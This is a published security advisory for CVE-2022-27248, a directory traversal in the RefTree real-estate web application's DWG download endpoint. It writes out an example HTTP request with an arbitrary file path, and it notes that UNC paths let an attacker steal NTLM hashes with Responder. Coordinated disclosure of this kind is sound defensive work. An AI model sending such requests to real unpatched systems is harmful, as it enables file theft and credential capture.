IdeaRE RefTree Path Traversal

Credit: Savino Sisco
Risk: Medium
Local: Yes
Remote: No

CVSS Base Score: 4/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

=============================================================================== title: IdeaRE RefTree Download Path Traversal product: IdeaRE RefTree < 2021.09.17 vulnerability type: Directory Traversal CVE ID: CVE-2022-27248 severity: Medium CVSSv3 score: 4.3 CVSSv3 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N found: 2021-09-13 by: Savino Sisco <> =============================================================================== [EXECUTIVE SUMMARY] RefTree is a web application made for managing complex real estate situations. Among other features, it offers the possibility for authenticated users to upload and download DWG (CAD drawings) files for buildings. During a penetration test activity, a "Directory Traversal" vulnerability was found on the download feature which allows to download arbitrary files with the "dwg" extension. The application actually checks that the filename ends with "dwg", so it's not possible to download files with other extensions. This vulnerability may also allow to steal NTLM hashes of the host system by supplying, as the download path, a UNC path pointing to an attacker controlled machine running a tool like Responder. [VULNERABLE VERSIONS] IdeaRE RefTree < 2021.09.17 [TECHNICAL DETAILS] It is possible to reproduce the issue following these steps: 1. Log into the application to get a valid session cookie 2. Use the API endpoint '/CaddemServiceJS/CaddemService.svc/rest/DownloadDwg' to download an arbitrary "dwg" file (UNC paths are accepted). Example of the request to the Download endpoint: POST /CaddemServiceJS/CaddemService.svc/rest/DownloadDwg HTTP/2 Host: [REDACTED] User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:92.0) Gecko/20100101 Firefox/92.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json Content-Length: 111 Origin: https://[REDACTED] Referer: https://[REDACTED]/Reftreespace/ Cookie: ASP.NET_SessionId=dezu5r0zswyqk4dukwt5jt5n { "path": "C:\\Users\\Public\\test.dwg" } HTTP/2 200 OK Cache-Control: private Content-Type: application/json; charset=utf-8 Server: Microsoft-IIS/10.0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://[REDACTED] X-Powered-By: ASP.NET Date: Thu, 10 Oct 2021 11:21:32 GMT Content-Length: 241916 {"DownloadDwgResult":[BASE64_FILE_REDACTED]} [VULNERABILITY REFERENCE] The following CVE ID was allocated to track the vulnerabilities: CVE-2022-27248 [DISCLOSURE TIMELINE] 2021-09-13 Vulnerability disclosed to our customer and the vendor. Vendor acknowledged the issue. 2021-09-17 Vendor released a fix for the software. 2021-10-15 The vulnerability was rechecked in the newer version to confirm that is was indeed fixed. 2022-03-15 Researcher requested to publicly disclose the issue; public coordinated disclosure. [RESOLUTION] Update the software to a version >= 2021.09.17 [CONTACT DETAILS] Savino Sisco <>

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2023,


Back to Top